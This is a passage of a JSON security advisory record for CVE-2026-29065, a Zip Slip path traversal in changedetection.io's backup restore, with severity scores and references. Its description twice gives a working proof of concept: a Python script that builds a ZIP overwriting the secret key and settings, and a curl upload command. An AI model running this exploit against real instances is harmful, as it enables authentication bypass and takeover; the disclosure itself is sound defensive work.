    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-29065",
            "cwe": {
                "id": "CWE-22",
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "### Summary\nA Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.\n\n### Details\n\nA Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.\n\nVulnerable Code (lines 50-53):\n```\ndef restore_backup(self, filename):\n    with zipfile.ZipFile(filename, 'r') as zip_ref:\n        # VULNERABLE: No path validation before extraction\n        zip_ref.extractall(self.datastore_path)\n```\nThe extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.\n\n| Path in ZIP | Target File | Impact |\n| --- | --- | --- |\n| ../secret.txt | Flask secret key | Session forgery, auth bypass |\n| ../changedetection.json | App settings | Disable password, inject backdoor |\n| ../url-watches.json | Watch index | Inject malicious watches |\n| ../{uuid}/watch.json | Watch config | Modify any watch |\n\nAttacker uploads ZIP via the backup restore functionality at /backups/restore\nApplication extracts files without validation, writing attacker content to sensitive locations\n\n\n### PoC\n\nStep 1: Create Malicious ZIP\n```\nimport zipfile\nimport json\n\nwith zipfile.ZipFile(\"zipslip.zip\", \"w\") as zf:\n    # Escape extraction directory with ../\n    zf.writestr(\"../secret.txt\", \"ATTACKER-CONTROLLED-SECRET\")\n    \n    zf.writestr(\"../changedetection.json\", json.dumps({\n        \"settings\": {\"application\": {\"password\": \"\"}}\n    }))\n    \n    zf.writestr(\"../pwned-uuid-1234/watch.json\", json.dumps({\n        \"url\": \"https://attacker.com/zipslip-pwned\",\n        \"title\": \"🔴 ZIPSLIP-PROOF\"\n    }))\n```\nStep 2: Upload via Restore Endpoint\n\n```curl -X POST \"http://target:5000/backups/restore/start\" \\\n  -F \"zip_file=@zipslip.zip\" \\\n  -F \"include_watches=y\" \\\n  -F \"include_settings=y\" \n  ```\n\n###Step 3: Verify Path Traversal\n### Check if watch escaped to /datastore/\n###ls -la /datastore/\n### Look for: pwned-uuid-1234/\n\n### Verify in UI\n```curl \"http://target:5000/\" | grep \"ZIPSLIP\"```\n\n\n<img width=\"1920\" height=\"1080\" alt=\"f_cBHEuvFcXsOiI-pcj1wJ9yzKCRM\" src=\"https://github.com/user-attachments/assets/889e7d2b-b5fe-4658-aa88-e57995860d38\" />",
                    "title": "github - https://github.com/advisories/GHSA-25g8-2mcf-fcx9"
                },
                {
                    "category": "description",
                    "text": "### Summary\nA Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.\n\n### Details\n\nA Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.\n\nVulnerable Code (lines 50-53):\n```\ndef restore_backup(self, filename):\n    with zipfile.ZipFile(filename, 'r') as zip_ref:\n        # VULNERABLE: No path validation before extraction\n        zip_ref.extractall(self.datastore_path)\n```\nThe extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.\n\n| Path in ZIP | Target File | Impact |\n| --- | --- | --- |\n| ../secret.txt | Flask secret key | Session forgery, auth bypass |\n| ../changedetection.json | App settings | Disable password, inject backdoor |\n| ../url-watches.json | Watch index | Inject malicious watches |\n| ../{uuid}/watch.json | Watch config | Modify any watch |\n\nAttacker uploads ZIP via the backup restore functionality at /backups/restore\nApplication extracts files without validation, writing attacker content to sensitive locations\n\n\n### PoC\n\nStep 1: Create Malicious ZIP\n```\nimport zipfile\nimport json\n\nwith zipfile.ZipFile(\"zipslip.zip\", \"w\") as zf:\n    # Escape extraction directory with ../\n    zf.writestr(\"../secret.txt\", \"ATTACKER-CONTROLLED-SECRET\")\n    \n    zf.writestr(\"../changedetection.json\", json.dumps({\n        \"settings\": {\"application\": {\"password\": \"\"}}\n    }))\n    \n    zf.writestr(\"../pwned-uuid-1234/watch.json\", json.dumps({\n        \"url\": \"https://attacker.com/zipslip-pwned\",\n        \"title\": \"🔴 ZIPSLIP-PROOF\"\n    }))\n```\nStep 2: Upload via Restore Endpoint\n\n```curl -X POST \"http://target:5000/backups/restore/start\" \\\n  -F \"zip_file=@zipslip.zip\" \\\n  -F \"include_watches=y\" \\\n  -F \"include_settings=y\" \n  ```\n\n###Step 3: Verify Path Traversal\n### Check if watch escaped to /datastore/\n###ls -la /datastore/\n### Look for: pwned-uuid-1234/\n\n### Verify in UI\n```curl \"http://target:5000/\" | grep \"ZIPSLIP\"```\n\n\n<img width=\"1920\" height=\"1080\" alt=\"f_cBHEuvFcXsOiI-pcj1wJ9yzKCRM\" src=\"https://github.com/user-attachments/assets/889e7d2b-b5fe-4658-aa88-e57995860d38\" />",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-25g8-2mcf-fcx9.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "changedetection.io is a free open source web page change detection tool. Prior to version 0.54.4, a Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. This issue has been patched in version 0.54.4.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-29065"
                },
                {
                    "category": "description",
                    "text": "changedetection.io is a free open source web page change detection tool. Prior to version 0.54.4, a Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. This issue has been patched in version 0.54.4.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-29065"
                },
                {
                    "category": "other",
                    "text": "0.00069",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
                    "title": "CVSSV4"
                },
                {
                    "category": "other",
                    "text": "8.8",
                    "title": "CVSSV4 base score"
                },
                {
                    "category": "other",
                    "text": "3.4",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "The value of the most recent EPSS score, There is exploit data available from source Nvd, Is related to (a version of) an uncommon product, Exploit code publicly available",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5723136",
                    "CSAFPID-5723137",
                    "CSAFPID-5723138",
                    "CSAFPID-5723139",
                    "CSAFPID-5723140",
                    "CSAFPID-5723141",
                    "CSAFPID-5723142",
                    "CSAFPID-5723143",
                    "CSAFPID-5723144",
                    "CSAFPID-5723145",
                    "CSAFPID-5723146",
                    "CSAFPID-5723147",
                    "CSAFPID-5723148",
                    "CSAFPID-5723149",
                    "CSAFPID-5723150",
                    "CSAFPID-5723151",
                    "CSAFPID-5723152",
                    "CSAFPID-5723153",
                    "CSAFPID-5723154",
                    "CSAFPID-5723155",
                    "CSAFPID-5723156",
                    "CSAFPID-5723157",
                    "CSAFPID-5723158",
                    "CSAFPID-5723159",
                    "CSAFPID-5723160",
                    "CSAFPID-5723161",
                    "CSAFPID-5723162",
                    "CSAFPID-5723163",
                    "CSAFPID-5723164",
                    "CSAFPID-5723165",
                    "CSAFPID-5723166",
                    "CSAFPID-5723167",
                    "CSAFPID-5723168",
                    "CSAFPID-5723169",
                    "CSAFPID-5723170",
                    "CSAFPID-5723171",
                    "CSAFPID-5723172",
                    "CSAFPID-5723173",
                    "CSAFPID-5723174",
                    "CSAFPID-5723175",
                    "CSAFPID-5723176",
                    "CSAFPID-5723177",
                    "CSAFPID-5723178",
                    "CSAFPID-5723179",
                    "CSAFPID-5723180",
                    "CSAFPID-5723181",
                    "CSAFPID-5723182",
                    "CSAFPID-5723183",
                    "CSAFPID-5723184",
                    "CSAFPID-5723185",
                    "CSAFPID-5723186",
                    "CSAFPID-5723187",
                    "CSAFPID-5723188",
                    "CSAFPID-5723189",
                    "CSAFPID-5723190",
                    "CSAFPID-5723191",
                    "CSAFPID-5723192",
                    "CSAFPID-5723193",
                    "CSAFPID-5723194",
                    "CSAFPID-5723195",
                    "CSAFPID-5723196",
                    "CSAFPID-5723197",
                    "CSAFPID-5723198",
                    "CSAFPID-5723199",
                    "CSAFPID-5723200",
                    "CSAFPID-5723201",
                    "CSAFPID-5723202",
                    "CSAFPID-5723203",
                    "CSAFPID-5723204",
                    "CSAFPID-5723205",
                    "CSAFPID-5723206",
                    "CSAFPID-5723207",
                    "CSAFPID-5723208",
                    "CSAFPID-5723209",
                    "CSAFPID-5723210",
                    "CSAFPID-5723211",
                    "CSAFPID-5723212",
                    "CSAFPID-5723213",
                    "CSAFPID-5723214",
                    "CSAFPID-5723215",
                    "CSAFPID-5723216",
                    "CSAFPID-5723217",
                    "CSAFPID-5723218",
                    "CSAFPID-5723219",
                    "CSAFPID-5723220",
                    "CSAFPID-5723221",
                    "CSAFPID-5723222",
                    "CSAFPID-5723223",
                    "CSAFPID-5723224",
                    "CSAFPID-5723225",
                    "CSAFPID-5723226",
                    "CSAFPID-5723227",
                    "CSAFPID-5723228",
                    "CSAFPID-5723229",
                    "CSAFPID-5723230",
                    "CSAFPID-5723231",
                    "CSAFPID-5723232",
                    "CSAFPID-5723233",
                    "CSAFPID-5723234",
                    "CSAFPID-5723235",
                    "CSAFPID-5723236",
                    "CSAFPID-5723237",
                    "CSAFPID-5723238",
                    "CSAFPID-5723239",
                    "CSAFPID-5723240",
                    "CSAFPID-5723241",
                    "CSAFPID-5723242",
                    "CSAFPID-5723243",
                    "CSAFPID-5723244",
                    "CSAFPID-5723245",
                    "CSAFPID-5723246",
                    "CSAFPID-5723247",
                    "CSAFPID-5723248",
                    "CSAFPID-5723249",
                    "CSAFPID-5723250",
                    "CSAFPID-5723251",
                    "CSAFPID-5723252",
                    "CSAFPID-5723253",
                    "CSAFPID-5723254",
                    "CSAFPID-5723255",
                    "CSAFPID-5723256",
                    "CSAFPID-5723257",
                    "CSAFPID-5723258",
                    "CSAFPID-5723259",
                    "CSAFPID-5723260",
                    "CSAFPID-5723261",
                    "CSAFPID-5723262",
                    "CSAFPID-5723263",
                    "CSAFPID-5723264",
                    "CSAFPID-5723265",
                    "CSAFPID-5723266",
                    "CSAFPID-5723267",
                    "CSAFPID-5723268",
                    "CSAFPID-5723269",
                    "CSAFPID-5723270",
                    "CSAFPID-5723271",
                    "CSAFPID-5723272",
                    "CSAFPID-5723273",
                    "CSAFPID-5723274",
                    "CSAFPID-5723275",
                    "CSAFPID-5723276",
                    "CSAFPID-5723277",
                    "CSAFPID-5723278",
                    "CSAFPID-5723279",
                    "CSAFPID-5723280",
                    "CSAFPID-5723281",
                    "CSAFPID-5723282",
                    "CSAFPID-5723283",
                    "CSAFPID-5723284",
                    "CSAFPID-5723285",
                    "CSAFPID-5723286",
                    "CSAFPID-5723287",
                    "CSAFPID-5723288",
                    "CSAFPID-5723289",
                    "CSAFPID-5723290",
                    "CSAFPID-5723291",
                    "CSAFPID-5723292",
                    "CSAFPID-5723294",
                    "CSAFPID-5723295",
                    "CSAFPID-5723296",
                    "CSAFPID-5723297",
                    "CSAFPID-5723298",
                    "CSAFPID-5723299",
                    "CSAFPID-5723301",
                    "CSAFPID-5723302",
                    "CSAFPID-5723303",
                    "CSAFPID-5723304",
                    "CSAFPID-5723305",
                    "CSAFPID-5723306",
                    "CSAFPID-5723307",
                    "CSAFPID-5723308",
                    "CSAFPID-5723309",
                    "CSAFPID-5723310",
                    "CSAFPID-5723311",
                    "CSAFPID-5723312",
                    "CSAFPID-5723313",
                    "CSAFPID-5723314",
                    "CSAFPID-5723315",
                    "CSAFPID-5723316",
                    "CSAFPID-5723317",
                    "CSAFPID-5723318",
                    "CSAFPID-5723319",
                    "CSAFPID-5723320",
                    "CSAFPID-5723321",
                    "CSAFPID-5723322",
                    "CSAFPID-5723327",
                    "CSAFPID-5760053",
                    "CSAFPID-5760054",
                    "CSAFPID-5760055",
                    "CSAFPID-5760056",
                    "CSAFPID-5765479",
                    "CSAFPID-5778683"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-25g8-2mcf-fcx9"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-25g8-2mcf-fcx9"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-25g8-2mcf-fcx9.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29065"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-29065"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-29065"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/29xxx/CVE-2026-29065.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-29065"
                },
                {
                    "category": "external",
                    "summary": "Source raw - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-25g8-2mcf-fcx9"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/dgtlmoon/changedetection.io/commit/1d7d812eb0faab37042246e2fbce04f29bb1b3aa"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/dgtlmoon/changedetection.io/releases/tag/0.54.4"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-25g8-2mcf-fcx9"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29065"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
                        "baseScore": 9.1,
                        "baseSeverity": "CRITICAL"
                    },
                    "products": [
                        "CSAFPID-5723136",
                        "CSAFPID-5723137",
                        "CSAFPID-5723138",
                        "CSAFPID-5723139",
                        "CSAFPID-5723140",
                        "CSAFPID-5723141",
                        "CSAFPID-5723142",
                        "CSAFPID-5723143",
                        "CSAFPID-5723144",
                        "CSAFPID-5723145",
                        "CSAFPID-5723146",
                        "CSAFPID-5723147",
                        "CSAFPID-5723148",
                        "CSAFPID-5723149",
                        "CSAFPID-5723150",
                        "CSAFPID-5723151",
                        "CSAFPID-5723152",
                        "CSAFPID-5723153",
                        "CSAFPID-5723154",
                        "CSAFPID-5723155",
                        "CSAFPID-5723156",
                        "CSAFPID-5723157",
                        "CSAFPID-5723158",
                        "CSAFPID-5723159",
                        "CSAFPID-5723160",
                        "CSAFPID-5723161",
                        "CSAFPID-5723162",
                        "CSAFPID-5723163",
                        "CSAFPID-5723164",
                        "CSAFPID-5723165",
                        "CSAFPID-5723166",
                        "CSAFPID-5723167",
                        "CSAFPID-5723168",
                        "CSAFPID-5723169",
                        "CSAFPID-5723170",
                        "CSAFPID-5723171",
                        "CSAFPID-5723172",
                        "CSAFPID-5723173",
                        "CSAFPID-5723174",
                        "CSAFPID-5723175",
                        "CSAFPID-5723176",
                        "CSAFPID-5723177",
                        "CSAFPID-5723178",
                        "CSAFPID-5723179",
                        "CSAFPID-5723180",
                        "CSAFPID-5723181",
                        "CSAFPID-5723182",
                        "CSAFPID-5723183",
                        "CSAFPID-5723184",
                        "CSAFPID-5723185",
                        "CSAFPID-5723186",
                        "CSAFPID-5723187",
                        "CSAFPID-5723188",
                        "CSAFPID-5723189",
                        "CSAFPID-5723190",
                        "CSAFPID-5723191",
                        "CSAFPID-5723192",
                        "CSAFPID-5723193",
                        "CSAFPID-5723194",
                        "CSAFPID-5723195",
                        "CSAFPID-5723196",
                        "CSAFPID-5723197",
                        "CSAFPID-5723198",
                        "CSAFPID-5723199",
                        "CSAFPID-5723200",
                        "CSAFPID-5723201",
                        "CSAFPID-5723202",
                        "CSAFPID-5723203",
                        "CSAFPID-5723204",
                        "CSAFPID-5723205",
                        "CSAFPID-5723206",
                        "CSAFPID-5723207",
                        "CSAFPID-5723208",
                        "CSAFPID-5723209",
                        "CSAFPID-5723210",
                        "CSAFPID-5723211",
                        "CSAFPID-5723212",
                        "CSAFPID-5723213",
                        "CSAFPID-5723214",
                        "CSAFPID-5723215",
                        "CSAFPID-5723216",
                        "CSAFPID-5723217",
                        "CSAFPID-5723218",
                        "CSAFPID-5723219",
                        "CSAFPID-5723220",
                        "CSAFPID-5723221",
                        "CSAFPID-5723222",
                        "CSAFPID-5723223",
                        "CSAFPID-5723224",
                        "CSAFPID-5723225",
                        "CSAFPID-5723226",
                        "CSAFPID-5723227",
                        "CSAFPID-5723228",
                        "CSAFPID-5723229",
                        "CSAFPID-5723230",
                        "CSAFPID-5723231",
                        "CSAFPID-5723232",
                        "CSAFPID-5723233",
                        "CSAFPID-5723234",
                        "CSAFPID-5723235",
                        "CSAFPID-5723236",
                        "CSAFPID-5723237",
                        "CSAFPID-5723238",
                        "CSAFPID-5723239",
                        "CSAFPID-5723240",
                        "CSAFPID-5723241",
                        "CSAFPID-5723242",
                        "CSAFPID-5723243",
                        "CSAFPID-5723244",
                        "CSAFPID-5723245",
                        "CSAFPID-5723246",
                        "CSAFPID-5723247",
                        "CSAFPID-5723248",
                        "CSAFPID-5723249",
                        "CSAFPID-5723250",
                        "CSAFPID-5723251",
                        "CSAFPID-5723252",
                        "CSAFPID-5723253",
                        "CSAFPID-5723254",
                        "CSAFPID-5723255",
                        "CSAFPID-5723256",
                        "CSAFPID-5723257",
                        "CSAFPID-5723258",
                        "CSAFPID-5723259",
                        "CSAFPID-5723260",
                        "CSAFPID-5723261",
                        "CSAFPID-5723262",
                        "CSAFPID-5723263",
                        "CSAFPID-5723264",
                        "CSAFPID-5723265",
                        "CSAFPID-5723266",
                        "CSAFPID-5723267",
                        "CSAFPID-5723268",
                        "CSAFPID-5723269",
                        "CSAFPID-5723270",
                        "CSAFPID-5723271",
                        "CSAFPID-5723272",
                        "CSAFPID-5723273",
                        "CSAFPID-5723274",
                        "CSAFPID-5723275",
                        "CSAFPID-5723276",
                        "CSAFPID-5723277",
                        "CSAFPID-5723278",
                        "CSAFPID-5723279",
                        "CSAFPID-5723280",
                        "CSAFPID-5723281",
                        "CSAFPID-5723282",
                        "CSAFPID-5723283",
                        "CSAFPID-5723284",
                        "CSAFPID-5723285",
                        "CSAFPID-5723286",
                        "CSAFPID-5723287",
                        "CSAFPID-5723288",
                        "CSAFPID-5723289",
                        "CSAFPID-5723290",
                        "CSAFPID-5723291",
                        "CSAFPID-5723292",
                        "CSAFPID-5723294",
                        "CSAFPID-5723295",
                        "CSAFPID-5723296",
                        "CSAFPID-5723297",
                        "CSAFPID-5723298",
                        "CSAFPID-5723299",
                        "CSAFPID-5723301",
                        "CSAFPID-5723302",
                        "CSAFPID-5723303",
                        "CSAFPID-5723304",
                        "CSAFPID-5723305",
                        "CSAFPID-5723306",
                        "CSAFPID-5723307",
                        "CSAFPID-5723308",
                        "CSAFPID-5723309",
                        "CSAFPID-5723310",
                        "CSAFPID-5723311",
                        "CSAFPID-5723312",
                        "CSAFPID-5723313",
                        "CSAFPID-5723314",
                        "CSAFPID-5723315",
                        "CSAFPID-5723316",
                        "CSAFPID-5723317",
                        "CSAFPID-5723318",
                        "CSAFPID-5723319",
                        "CSAFPID-5723320",
                        "CSAFPID-5723321",
                        "CSAFPID-5723322",
                        "CSAFPID-5723327",
                        "CSAFPID-5760053",
                        "CSAFPID-5760054",
                        "CSAFPID-5760055",
                        "CSAFPID-5760056",
                        "CSAFPID-5765479",
                        "CSAFPID-5778683"
                    ]
                }
            ],
            "title": "CVE-2026-29065"
        }
    ]
}